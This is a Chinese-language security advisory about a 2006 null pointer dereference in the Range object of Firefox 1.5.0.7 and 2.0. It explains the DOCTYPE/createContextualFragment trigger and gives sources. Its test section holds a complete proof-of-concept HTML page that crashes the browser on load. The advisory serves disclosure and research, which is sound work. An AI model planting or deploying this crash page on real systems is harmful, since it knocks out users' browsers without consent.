安全研究

安全漏洞
Mozilla Firefox Range脚本对象拒绝服务漏洞

发布日期:2006-10-30
更新日期:2006-11-01

受影响系统:
Mozilla Firefox <= 1.5.0.7
Mozilla Firefox 2.0
描述:
BUGTRAQ  ID: 20799

Firefox是一款开放源码的WEB浏览器。

Firefox的Range对象中存在空指针引用问题,成功利用这个漏洞的攻击者可以导致浏览器崩溃。

可以使用selectNode方式初始化Range对象选择将要注入Range中的节点,也可以使用createContextualFragment方式创建文档碎片,如下所示:

var tagString = "<div>I am a div node</div>";
var range = document.createRange();
range.selectNode(document.getElementsByTagName("div").item(0));
var documentFragment = range.createContextualFragment(tagString);
document.body.appendChild(documentFragment);

可见使用createRange文档方式创建了一个范围,然后对当前文档中的一些元素使用了selectNode方式初始化范围。这时就可以使用createContextualFragment创建可注入到文档中的文档碎片。在向selectNode方式传送DOCUMENT_TYPE_NODE (<!DOCTYPE...)元素时Firefox没有正确的处理,导致在调用createContextualFragment方式时会触发空指针引用。

<*来源:Carlos Barros (barros@barrossecurity.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=116231967430984&w=2
        http://lists.grok.org.uk/pipermail/full-disclosure/2006-October/050416.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

--- snip ---

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<script type="text/javascript">
function do_crash()
{
        var     range;

        range = document.createRange();
[1]     range.selectNode(document.firstChild);
[2]     range.createContextualFragment('<span></span>');
}
</script>
</head>
<body onload="do_crash()">
<p>Good bye Firefox!</p>
</body>
</html>

--- snip ---

建议:
厂商补丁:

Mozilla
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.mozilla.org/

浏览次数:3108
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障